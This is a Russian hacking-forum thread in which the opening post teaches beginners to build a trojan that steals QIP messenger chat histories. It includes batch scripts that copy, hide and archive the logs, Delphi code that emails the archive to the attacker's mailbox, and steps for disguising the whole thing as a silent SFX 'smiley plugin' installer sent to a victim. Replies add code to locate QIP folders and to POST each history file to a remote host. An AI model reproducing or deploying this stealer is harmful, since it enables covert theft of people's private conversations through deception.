Пишем свой Qip History Sender

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _HeSh_, 23 Nov 2008.

  1. _HeSh_

    _HeSh_ Member

    Joined:
    14 Apr 2008
    Messages:
    14
    Likes Received:
    19
    Reputations:
    0
    !!! Эта статья рассчитана только для новичков Просьба гуру, не пинать. Если чё не нравится – пишем своё.

    Итак, начнём.
    В данной статье, я хочу вам показать как имея совсем базовые познания в кодинге написать что-то типа вируса, который будет тырить хистори по всем номеркам на компе жертвы.
    Для этого нам понадобится Блокнот, Delphi, и не много усидчивости.
    1. Мы должны написать код, который будет искать файлы истории, по всем папкам и копировать их в одно место.
    2. Запаковать все файлы в один архив.
    3. Отослать себе данный файл.
    Мой вирь – состоит из 3х файлов. Так как с начала написания его, я знал только теорию – и что у командной строки есть команда dir copy и echo off. Поэтому, я предлагаю вам, тоже, ознакомится с кодом трёх файлов – для простоты понятия. Если кому не нравится, то делайте в один – полёт фантазии вам в помощь.
    Пишем первый файл test.bat
    Code:
    Echo off
    @cd C:\           
    @md test2  //создаём папку тест 2
    @if exist C:\Progra~1\QIP\qip.exe xcopy C:\Progra~1\QIP\Users\*.txt  C:\test2\*.txt /q /e /h /y > null      //если файл qip.exe существует по указанному адресу, то копируем все файлы формата txt из папки User в папку тест2.  Ключи  /q /e /h /y  --- для копирования скрытых файлов, и копирования в под каталогах.
    @attrib +h +s C:\"Program Files"\QIP\1.exe  //скрываем и делаем системным 3й файл нашего вируса, который распакуется в папку C:\"Program Files"\QIP\ с именем 1.exe .  "Program Files" – не зря берётся в скобки, так как пробелы командная строка считает окончанием команды или ещё чего либо.
    @attrib +h +s C:\"Program Files"\QIP\arh.bat // аналогично для второго файла вируса
    start/min C:\"Program Files"\QIP\arh.bat  //запуск в скрытом окне второго файла вируса (хотя можно всё влепить в один этот)
    echo >> read.txt У вас установлена неизвестная версия Qip. Обновления не были установлены.  
    // данная строка обеспечит добавление в файл реад.тхт строчки «левой отмазки» 
    start/max read.txt  // запустим файл с текстом, на всю рабочую область, что поможет скрыть в это же время архивирование файлов, которое обеспечивает 2й файл arh.bat  
    exit  // выход из командной строки, на всякий пожарный пропишем.
    Далее приступаем ко второму файлу, который обеспечит упаковку файла в архив arh.bat
    Code:
    echo off 
    "C:\Program Files\WinRAR\rar.exe" a -m5 -o+ -r  C:\test2\backu.rar C:\test2\*.*  // команда для упаковки в архив с именем backu.rar, который должен будет создастся в C:\test2\ и архивировать все файлы, всех форматов из папки rar C:\test2\
    Ключь –r  заставляет архивировать и подкаталоги и файлы в них. –m5  - метод сжатия (1-5). Подробнее можно посмотреть в хелпе к Winrar.
    @attrib +h +s C:\"Program Files"\QIP\test.bat  //прячет файл
    start/min C:\"Program Files"\QIP\1.exe  // запускает в скрытом режиме делфи файл, который и будет заниматься отправкой.
    Exit    //если прописали start, то нужно и exit  - иначе, бывает, что не закрывается.
    Теперь приступим к написанию кода Delphi.
    Для данной программки нам понадобится вкладка Indy Clients и Indy Misc.
    Закидываем на форму компоненты IdAntiFreeze IdMessage IdSMTP и Label с вкладки Standart.
    Делаем формочку размером не больше 69*280 высота/длина --- хотя это уже ваша фантазия и пишем в Label что-то типа System Error. Please waite a few minutes, меняем имя формы на что-то вроде System Error и ставим свойство формы BorderStyle в режим bsNone.
    И вот точный листинг того, что мы должно быть:
    Code:
    unit Unit1;
    interface
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
      IdMessageClient, IdSMTP, IdMessage, IdBaseComponent, IdAntiFreezeBase,
      IdAntiFreeze;
    type
      TForm1 = class(TForm)
        IdAntiFreeze1: TIdAntiFreeze;
        IdMessage1: TIdMessage;
        IdSMTP1: TIdSMTP;
        Label1: TLabel;
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    var
    Form1: TForm1;
    M:TIdMessage;
       sm:tidsmtp;
      att:tidattachment;
      implementation
    {$R *.dfm}
     begin
    m:=TIdMessage.create(form1);
    m.From.Text:='vasja@inbox.ru';//от кого
    m.Recipients.Add;
    m.Recipients.Items[0].Text:='Pupkin@mail.ru'; //кому
    m.Subject:='Subject';// тема письма
    m.Body.Text:='По*** на текст';// текст письма
    att:=tidattachment.Create(m.MessageParts,'C:\test2\backu.rar');//  полное имя файла, архива – который должен быть отправлен.
    sm:=tidsmtp.Create(form1);
    sm.AuthenticationType := atLogin;
    sm.Host:='smtp.inbox.ru'; //хост 
    sm.Username:='Логин с которого будет отсылаться письмо';
    sm.Password:='123456'; //пароль к этому ящику 
    sm.Connect();
    if sm.Connected then
    begin
    sm.Send(M);
    end;
    sm.Disconnect;
    att.Free;
    sm.Free;
    end.
    
    Делфи код был взят с delphiexpert.ru (c)

    Ну вот и всё. Как только письмо будет отправлено, у юзера появится окошко с якобы ошибкой. Просто влом переделывать. Я думал что оно будет гореть сразу, а оказалось что появиться после выполнения отправки. + в моей версии окошко не особо видно, так как появляется над часами. Координаты появления можно задать в полях Top Left компонента Form. Толи это не компонент но … )
    Как сделать чтоб процесс не был виден в дереве, и не показывался на панели задач – я не смотрел. Вернее смотрел, но там всё заумно – я его и не трогал. Так как писалось это всё чтобы узнать историю одной девчоночки) Ну это уже ваша фантазия.
    Блин .. чуть не забыл – что это всё нужно сделать одним exe файлом .. 
    Продолжим)
    Выделяем эти 3 файла. Жмём «добавит в архив…»
    Ставим галочку – Создать SFX-архив, ставим метод сжатия, переходим на вкладку «дополнительно», - Параметры SFX-архива --- Путь для распаковки… Пишем C:\Program Files\QIP\
    --- Выполнить после распаковки – test.bat
    Переходим на вкладку Режимы --- Режим ввода информации – Не показывать начальный диалог
    Режим перезаписи – Перезаписывать все файлы без запроса.
    И всё. Жмём Ок.
    Получаем файл .exe который после запуска сразу начинает свою работу.
    Конечно я бы советовал назвать это чудо как-то так «Qip_plugin_smiles_8.0.6.13(by Foolf).exe», залить на файлообменник, и дать просто ссылку тому, чью историю хочешь подтырить. Написав при этом … Ок, я жду, пока скинешь мне установленный смайл.
    На этом всё) Просьба ещё раз, сильно не пинать. Если кому помог в чём-то разобраться то жду +++ в репу) :)
     
    8 people like this.
  2. Flash-ICE

    Flash-ICE Banned

    Joined:
    11 Nov 2007
    Messages:
    13
    Likes Received:
    5
    Reputations:
    -5
    Статья не очень,так как не реализовано то чтобы искать папку QIP'a! (вроде как)
    Тем более можно сделать все по простому без .bat файла (примерно знаю как)
     
  3. 0x0c0de

    0x0c0de Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    441
    Likes Received:
    395
    Reputations:
    297
    А вы так уверены, что квип будет на диске це? А вы уверены, что у юзера будет винрар? Зачем юзать батники, когда можно не юзать? Почему вирь из трех файлов, когда можно положиь в ресурсы? Ииии это не вирус кстати. И даже не вроде вирус. Вообще какой-то странный кодес.
     
    #3 0x0c0de, 23 Nov 2008
    Last edited: 23 Nov 2008
  4. crystalbit

    crystalbit Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    212
    Likes Received:
    88
    Reputations:
    8
    процедура поиска папок квипов(если несколько установлено)
    Code:
    procedure regGetValuesHKCU(where:string; StringList:TStrings);
    var
      Key: HKEY;
      Len, LenTemp, Count, I: DWORD;
      S: PChar;
    begin
      StringList.clear;
      GetMem(S, 255);
      if RegCreateKey(HKEY_CURRENT_USER, PChar(where), Key) = 0 then
      begin
        RegQueryInfoKey(Key, nil, nil, nil, nil, nil, nil, @Count, @Len, nil, nil, nil);
        for I := 0 to Count - 1 do
        begin
          LenTemp := Len +1;
          RegEnumValue(Key, I, S, LenTemp, nil, nil, nil, nil);
          StringList.Add(S);
          FillChar(S^, 255, 0);
        end;
        RegCloseKey(key);
      end;
      FreeMem(S);
    end;
    
    procedure GetQIPPaths(StringList:TStringList);
    var
      i:integer;
    begin
      regGetValuesHKCU('Software\Microsoft\Windows\ShellNoRoam\MUICache',StringList);
      for i:=StringList.Count-1 downto 0 do
        if pos('\qip.exe',StringList.Strings[i])=0 then
          StringList.Delete(i);
      for i:=0 to StringList.Count-1 do
        StringList.Strings[i]:=ExtractFilePath(StringList.Strings[i]);
    end;
    
    писал когда-то для себя, успешно использовал в своей проге

    (необходимо, чтоб был подключен classes)
     
  5. _HeSh_

    _HeSh_ Member

    Joined:
    14 Apr 2008
    Messages:
    14
    Likes Received:
    19
    Reputations:
    0
    Ну в принцыпе) Статья больше как ознакомительная с батом.
    Почти у всех юзверей квип ставиться по умолчанию в програм файлс......
    Код не претиндует на звание вируса - а скорее на средство Хоть както стырить историю) Не забываем что я сам новичок) и это просто начало) и многие которые также НАчинают постигать кодинг, может чтото из этого черпнут)

    Винрар нынче ставиться по умолчанию во всех зверях и тд. А почти все Юзвери на зверях и сидят ... ну кудаж без винрара?))
     
    #5 _HeSh_, 23 Nov 2008
    Last edited: 23 Nov 2008
    2 people like this.
  6. crystalbit

    crystalbit Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    212
    Likes Received:
    88
    Reputations:
    8
    _HeSh_, а у меня система на диске E ;)

    имхо в твоем случае лучше использовать %windir%\..\program files\qip

    и где-то я видел как можно архивировать средствами windows, там то ли zip то ли cab

    а для дельфи есть готовые модули, сам пользуюсь)
     
  7. _HeSh_

    _HeSh_ Member

    Joined:
    14 Apr 2008
    Messages:
    14
    Likes Received:
    19
    Reputations:
    0
    Хз хз))я новичёк)) только начинаю) для делфы видел компоненты и статьи..но там кода на 3 листа .. вот и не стал разбиратся особо))) а в плене %windir% -- согласен) ну это пусть уже кому нужно, тот под себя делает)
    Я его написал для определённого человека)) Кодец своё дело сделал)) Я доволен)
    )

    Спасибо за критику))) Она уместна) Не даёт расслаблятся - и даёт понять что всё изучение только только впереди)
     
    #7 _HeSh_, 23 Nov 2008
    Last edited: 23 Nov 2008
    3 people like this.
  8. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    я бы промолчал, если бы не "делфи файл" это ПИ*ДЕЦ
    автор извини, но я тебя обматерил...

    че за тре**!?!!!
     
  9. crystalbit

    crystalbit Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    212
    Likes Received:
    88
    Reputations:
    8
    W!z@rD, банальная отправка письма через IdSMTP)

    M это объект класса TIdMessage, указываем параметры письма, там текст, тему, получателя, от кого
    sm это объект класса TIdSMTP, указываем хост, логин, пароль, заходим и отправляем
    att это TIdAttachment - прикрепляем файл перед отправкой
     
  10. _HeSh_

    _HeSh_ Member

    Joined:
    14 Apr 2008
    Messages:
    14
    Likes Received:
    19
    Reputations:
    0
    чё за тре?
    Визард, а ты не пробывал чиать самую первую строчку?
    Я сам новичёк. Какие вопросы?
     
    1 person likes this.
  11. Pernat1y

    Pernat1y Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    477
    Likes Received:
    79
    Reputations:
    7
    это типа круто, все делать через задницу?
    есть такая штука, как %programfiles%
     
    1 person likes this.
  12. Грот

    Грот Elder - Старейшина

    Joined:
    24 Jan 2008
    Messages:
    110
    Likes Received:
    36
    Reputations:
    0
    для новечка 1 пост очень даже ничего +++

    поис фаила можно реализовать проще, зачем изобретать велосипед если он уже изобретен:



    Code:
    procedure Send_all(Way:String);
    
    begin
    try
    
     if FindFirst(Way+'USERS\*',faDirectory,folder)=0 then repeat
     try
     If FindFirst(Way+'USERS\'+folder.Name+'\History\*.txt',faAnyFile-faDirectory,TS)=0 then
    
          repeat
    
            If TS.Name<>'_srvlog.txt' Then
            begin
             
              try
                ZeroMemory(@szBuf, SizeOf(szBuf)); 
                lstrcpy(szBuf, PChar('fname='+TS.name+'&UIN='+folder.name+'&data='));
                lstrcat(szBuf, ((GetFileData(PChar(Way+'USERS\'+folder.Name+'\History\'+TS.name)))));
                SendPOSTData(Host,Path,szBuf);
                except end;
    
               sleep(50);  end;
    
                until FindNext(TS) <> 0;
               FindClose(TS);
     except end;
    
    until FindNext(folder) <> 0;
    FindClose(folder);
    
    except end;
    end;
    
    
    function Search():string;
    var p:string;
        n:integer;
        c:char;
    //Рекурсивный поиск файлов
    function FindFile(var path:string; const mask:string):boolean;
    var SRec:TSearchRec;
        retval:integer;
        oldlen:integer;
    begin Result:=true;
          oldlen:=length(path);
          retval:=FindFirst(path+mask,$3F,SRec);    
          while retval=0 do begin
    	if ((SRec.Attr and $18)=0) and (DirectoryExists(path+'Users')) then begin           //faDirectory or faVolumeID
    
               Send_all(path);
              end;
    
    	retval:=FindNext(SRec)
          end;
          FindClose(SRec);
          if not Result then exit;
          retval:=FindFirst(path+'*.*',$10,SRec);   //faDirectory
          while retval=0 do begin
    	if (SRec.Attr and $10)<>0 then          //faDirectory
    	  if (SRec.Name<>'.')and(SRec.Name<>'..') then begin
    	    path:=path+SRec.Name+'\';
    
    
    
    	    if (not FindFile(path,mask)) then begin
    	      Result:=false;
    	      Break;
    	    end;
    	    delete(path,oldlen+1,255)
    	  end;
    	retval:=FindNext(SRec);
          end;
          FindClose(SRec)
    end;
    
    begin
    
          for c:='C' to 'Z' do begin
            p:=c+':\';
            if (GetDriveType(PChar(p))=DRIVE_FIXED) or (GetDriveType(PChar(p))=DRIVE_REMOVABLE) then
    	  FindFile(p,'qip.exe')
          end;
    
    end;
    
    взято с QIP_History_Sender Created by R_O_O_T
     
  13. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    а если у человека нет винрара? или он незареган и тогда вылезит окошко. По этому лучше упакуй через стандартный пакер винды. Парует не очень, но всегда есть в наличии и он консольный )
     
  14. AHTOLLlKA

    AHTOLLlKA Member

    Joined:
    1 Feb 2005
    Messages:
    225
    Likes Received:
    35
    Reputations:
    22
    стандартный это какой ??
    makecab.exe ??
    а если нужно сохранить структуру папок..
    тоесть users/xxxxx/histrory
    и тд..то чем тогда пользоваться оО ????
     
  15. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    еще раз говорю, промолчал бы если не
    какой на* дельфи файл?!!!
    вы бы чуть чуть головой думали, это п*здец как убивает.
    батники юзать не хорошо, толку от них 0, прочесть можно
    почитай про создание объектов в Run-Time
    почитай про winSock
    да и вообще, скоро вири на .net писать будут, если не уже)
    а если история шифруется?
    и не похоже на малварь это
     
  16. _Kris_

    _Kris_ Elder - Старейшина

    Joined:
    22 Jul 2008
    Messages:
    53
    Likes Received:
    31
    Reputations:
    5
    я бв сказал да вот обидетесь, хотя я уже сказал...
     
  17. _HeSh_

    _HeSh_ Member

    Joined:
    14 Apr 2008
    Messages:
    14
    Likes Received:
    19
    Reputations:
    0
    Ээ...Эксперты... Вы сюда срать пришли, или может чё полезное для новичков сюдаже подкинете?
     
  18. St0nX

    St0nX Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    257
    Likes Received:
    46
    Reputations:
    0
    Пути к папке с квипом можно выдрать из реестра.
    от суда например HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\QIP

    ну или ждать пока запустят квип и брать из процесса.
    Через поиск диру искать это мазахизм да и запалится можно.
     
    1 person likes this.
  19. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    St0nX оооо))) спасибо! А то я шарил по реестру не нашол путь в SOFTWARE :-D
    ВСЕ СтАВИМ ДРУЖНО ++ St0nX'у!
     
    3 people like this.
  20. crystalbit

    crystalbit Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    212
    Likes Received:
    88
    Reputations:
    8
    Еще папка квипа есть в muicache, оттуда имхо лучше, если установлено несколько квипов, то там все и будут